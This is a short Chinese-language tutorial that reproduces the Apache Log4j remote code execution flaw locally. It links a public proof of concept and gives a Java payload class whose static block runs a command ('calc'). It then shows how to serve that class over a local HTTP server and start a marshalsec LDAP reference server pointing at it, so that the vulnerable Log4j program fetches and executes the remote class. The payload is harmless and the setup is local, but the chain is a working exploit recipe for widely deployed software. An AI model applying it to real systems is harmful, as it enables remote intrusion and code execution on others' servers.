Apache Log4j 远程代码执行本地复现
攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响
下载公开poc
公开poc:https://github.com/tangxiaofeng7/apache-log4j-poc
exp利用
利用exp:
public class exp {
static {
try {
String [] cmd={"calc"};
java.lang.Runtime.getRuntime().exec(cmd).waitFor();
}catch (Exception e){
e.printStackTrace();
}
}
}
用javac exp.java
编译生成exp.class文件,将其单独放置一个文件夹,在该文件夹目录执行命令(python或php均可快速启动):python -m http.server 8888
或者php -S 127.0.0.1:8888
,效果如下:
启动ldap server
git clone git@github.com:mbechler/marshalsec.git
在idea打开该项目,借助maven生成jar包(这里我直接执行package出错,需要取消test):
启动ldap server java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#exp"
启动log4j.java
idea启动log4j.java,启动后会远程下载exp.class。